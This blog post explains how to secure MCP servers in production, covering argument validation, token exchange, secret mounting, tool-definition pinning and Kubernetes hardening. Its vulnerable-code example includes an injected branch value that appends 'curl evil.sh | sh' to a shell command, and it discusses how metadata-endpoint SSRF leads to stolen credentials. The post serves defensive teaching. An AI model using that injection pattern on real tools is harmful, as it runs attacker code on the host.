DEV Community

Cover image for Securing MCP in Production
Alok Ranjan Daftuar
Alok Ranjan Daftuar

Posted on Originally published at aloknecessary.in

Securing MCP in Production

More than 30 CVEs were filed against MCP servers, clients, and tooling in a roughly two-month window in early 2026. The most common pattern — around four in ten — was plain command injection. The August 2026 batch reads like a web-security syllabus: path traversal in an Atlassian integration, a settings tool that leaked a cluster token, SSRF in an ad-platform server, CSRF in a WordPress plugin.

MCP doesn't introduce new vulnerability classes so much as it removes the friction that used to contain old ones. A conventional API takes input from clients you can authenticate and rate-limit. An MCP tool's arguments are composed by a model that has read whatever text happened to be in its context — a ticket description, a scraped web page, another tool's output. The caller is authenticated; the content of the call is not trustworthy.


The Six Attack Surfaces

Every MCP deployment has six places an attack can land:

# Surface Primary control
1 Tool definitions Pin approved definitions by hash
2 Tool arguments Validate, no shell, allowlists
3 Tool results Treat output as untrusted; sanitize
4 Credentials Token exchange, short TTL, file-mounted secrets
5 Supply chain Digest pinning, signature verification
6 Egress Egress allowlist, metadata endpoint blocked

Surfaces 2, 4, and 6 are the ones that chain together in real incidents: an injectable argument lets an attacker run a command, which reads a static secret or calls the node metadata endpoint. Closing any one link breaks the chain — which is why the controls are layered rather than alternatives.


Arguments Are Untrusted Input

Many MCP servers are thin wrappers around CLIs, which is exactly where the injection CVEs concentrate — including the widely deployed mcp-remote package (CVE-2025-6514, CVSS 9.6).

// Vulnerable: attacker-influenced string reaches a shell
exec(`git log --oneline ${args.branch}`);   // "main; curl evil.sh | sh"

// Safer: no shell, argument vector, strict allowlist, flag-injection guard
const BRANCH_RE = /^[A-Za-z0-9._\/-]{1,100}$/;
if (!BRANCH_RE.test(args.branch) || args.branch.startsWith("-")) {
  throw new McpError("invalid_argument", 400);
}
execFile("git", ["log", "--oneline", "--end-of-options", args.branch],
         { cwd: repoDir, timeout: 10_000 });
Enter fullscreen mode Exit fullscreen mode

Dropping the shell isn't enough on its own. A value starting with - is parsed as a flag, so --end-of-options and the leading-dash check matter even with execFile. The same discipline applies to file paths — compare the resolved path, not the string, to defeat symlink and .. tricks:

async function resolveInside(root: string, userPath: string): Promise<string> {
  const full = await realpath(resolve(root, userPath));
  const base = await realpath(root);
  if (full !== base && !full.startsWith(base + sep)) {
    throw new McpError("invalid_argument", 400);
  }
  return full;
}
Enter fullscreen mode Exit fullscreen mode

For SSRF, use a per-tool host allowlist — not a denylist of "bad" IPs. A tool that calls one CRM API has no business fetching arbitrary URLs.


Credentials: the Lifecycle, Not the Vault

An October 2025 audit of more than 5,200 open-source MCP servers found that 53% rely on static API keys or personal access tokens, and 79% pass secrets through environment variables. Environment variables surface in kubectl describe, crash dumps, /proc, and every child process — so a command-injection bug turns "can run a command" into "can read every secret the server holds."

Three rules cover most of the ground.

Exchange, don't forward. Token passthrough is prohibited by the specification. Use RFC 8693 token exchange to trade the inbound token for one narrowed to a single downstream audience and scope:

curl -s -X POST https://idp.example.com/oauth2/token \
  -d grant_type=urn:ietf:params:oauth:grant-type:token-exchange \
  -d subject_token="$INBOUND_TOKEN" \
  -d subject_token_type=urn:ietf:params:oauth:token-type:access_token \
  -d audience=https://api.crm.example.com \
  -d scope=records.read
Enter fullscreen mode Exit fullscreen mode

The result is useless against any other API, so an injected call can't pivot to a different downstream.

Mount secrets as files, not variables. Pull secrets from AWS Secrets Manager or Azure Key Vault through the Secrets Store CSI driver and read per call, so rotation takes effect without a restart:

// Read per call: a rotated secret is picked up without a pod restart
const crmKey = () => readFile("/mnt/secrets/crm-api-key", "utf8");
Enter fullscreen mode Exit fullscreen mode

Keep lifetimes short. Because stateless transport evaluates identity on every request, revoking an inbound token takes effect on the next call — but only if the downstream token minted from it expires on a comparable timescale (minutes, not hours).


Tool Definitions Are a Supply Chain Too

The harder variant of tool poisoning is the rug pull: a server passes review, runs cleanly for weeks, then changes a definition without anyone re-approving it. The control that works regardless of how the payload is hidden is to pin what was approved and refuse anything else:

function definitionHash(t: ToolDefinition): string {
  const canonical = canonicalJson({
    name: t.name,
    description: t.description,
    inputSchema: t.inputSchema,
    annotations: t.annotations ?? {},
  });
  return createHash("sha256").update(canonical).digest("hex");
}

async function admitTools(serverId: string, listed: ToolDefinition[]) {
  const approved = await registry.approvedHashes(serverId);
  return listed.filter((t) => {
    const ok = approved.get(t.name) === definitionHash(t);
    if (!ok) audit.warn("tool_definition_changed", { serverId, tool: t.name });
    return ok;
  });
}
Enter fullscreen mode Exit fullscreen mode

Anything not approved never reaches the model's context, and a changed definition is quarantined until a human re-approves it.


Container and Network Hardening

Three controls bound the damage when an argument does slip through.

Strip the pod's privileges:

securityContext:
  runAsNonRoot: true
  readOnlyRootFilesystem: true
  allowPrivilegeEscalation: false
  capabilities: { drop: ["ALL"] }
  seccompProfile: { type: RuntimeDefault }
Enter fullscreen mode Exit fullscreen mode

Block the node metadata endpoint. SSRF is dangerous mostly because of where it leads — 169.254.169.254, which is how a server-side request becomes stolen cloud credentials. IRSA and Workload Identity use projected tokens and don't need node metadata access, so blocking it is safe:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-metadata-endpoint
  namespace: mcp-tenant-acme
spec:
  podSelector: {}
  policyTypes: [Egress]
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except: ["169.254.169.254/32"]
Enter fullscreen mode Exit fullscreen mode

On EKS, setting the IMDSv2 hop limit to 1 on the nodes adds a second barrier.

Pin and verify the image. Deploy by digest, not tag, and sign in CI so admission can reject anything unsigned. A Kyverno or Sigstore policy-controller admission rule on the MCP namespaces enforces verification at the cluster boundary.


Where to Start

Order Control Effort
1 Argument validation: no shell, path containment, host allowlists Low, code-only
2 Move secrets from env vars to file mounts Low
3 Block the metadata endpoint Low, one policy
4 Container hardening (securityContext) Low
5 Token exchange with audience scoping Medium
6 Definition pinning and image signing Medium

The first four fit in a single sprint and don't require touching the identity provider or the CI pipeline.


Read the Full Article

The summary covers the core controls. The full article goes deeper on:

  • The complete argument validation patterns for path containment and SSRF, with the reasoning behind allowlists vs denylists
  • Full CSI driver YAML for both AWS Secrets Manager (IRSA) and Azure Key Vault (Workload Identity)
  • The rug-pull variant of tool poisoning and why grepping descriptions catches only a fraction of it
  • Audit logging strategy — what to log, what never to log, and how to correlate events without storing payloads
  • The one NetworkPolicy caveat that silently widens egress if you're not careful

👉 Securing MCP in Production — Full Article

Top comments (0)